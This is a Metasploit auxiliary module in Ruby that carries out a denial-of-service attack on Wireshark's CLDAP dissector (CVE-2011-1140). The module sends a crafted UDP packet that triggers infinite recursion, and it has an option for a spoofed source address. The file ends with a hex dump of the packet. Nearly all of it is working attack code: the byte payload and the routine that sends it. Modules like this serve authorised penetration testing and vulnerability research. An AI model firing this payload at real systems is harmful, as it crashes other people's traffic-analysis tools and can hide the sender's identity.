71 lines
2.6 KiB
Ruby
71 lines
2.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Udp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super( update_info(info,
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'Name' => 'Wireshark CLDAP Dissector DOS',
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'Description' => %q{
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This module causes infinite recursion to occur within the
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CLDAP dissector by sending a specially crafted UDP packet.
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},
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'Author' => ['joernchen <joernchen[at]phenoelit.de> (Phenoelit)'],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2011-1140'],
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[ 'OSVDB', '71552'],
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[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2011-04.html' ],
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[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5717' ],
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],
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'DisclosureDate' => '2011-03-01'))
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register_options([
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OptInt.new('RPORT', [true, 'The destination port', 389]),
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OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
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], self.class)
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end
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def run
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connect_udp
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cldap_payload = "\x30\x81\xa2\x02\x01\x01\x64\x81\x9c\x04\x00\x30\x81\x97\x30\x81"+
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"\x94\x04\x08\x6e\x65\x74\x6c\x6f\x67\x6f\x6e\x31\x81\x87\x04\x81"+
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"\x84\x17\x00\x00\x00\xfd\x03\x00\x00\xda\xae\x52\xd0\x2f\xb4\xa9"+
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"\x48\x8b\x16\x4e\xbc\x51\xf9\x60\xb4\xc0\x1a\xc0\x18\x0e\x63\x6f"+
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"\x6e\x74\x61\x63\x74\x2d\x73\x61\x6d\x62\x61\x34\xc0\x18\x0a\x43"+
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"\x4f\x4e\x54\x41\x43\x54\x44\x4f\x4d\x00\x10\x5c\x5c\x43\x4f\x4e"+
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"\x54\x41\x43\x54\x2d\x53\x41\x4d\x42\x41\x34\x00\x00\x00\x00\xc0"+
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"\x61\x05\x00\x00\x00\xff\xff\xff\xff\x30\x0c\x02\x01\x01\x65\x07"+
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"\x0a\x01\x00\x04\x00\x04\x00"
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print_status("Sending malformed CLDAP packet to #{rhost}")
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udp_sock.put(cldap_payload)
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end
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end
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=begin
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Packet Dump:
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0000050: b054 3081 a202 0101 6481 9c04 0030 8197 .T0.....d....0..
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0000060: 3081 9404 086e 6574 6c6f 676f 6e31 8187 0....netlogon1..
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0000070: 0481 8417 0000 00fd 0300 00da ae52 d02f .............R./
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0000080: b4a9 488b 164e bc51 f960 b4c0 1ac0 180e ..H..N.Q.`......
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0000090: 636f 6e74 6163 742d 7361 6d62 6134 c018 contact-samba4..
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00000a0: 0a43 4f4e 5441 4354 444f 4d00 105c 5c43 .CONTACTDOM..\\C
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00000b0: 4f4e 5441 4354 2d53 414d 4241 3400 0000 ONTACT-SAMBA4...
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00000c0: 00c0 6105 0000 00ff ffff ff30 0c02 0101 ..a........0....
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00000d0: 6507 0a01 0004 0004 00 e........
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=end
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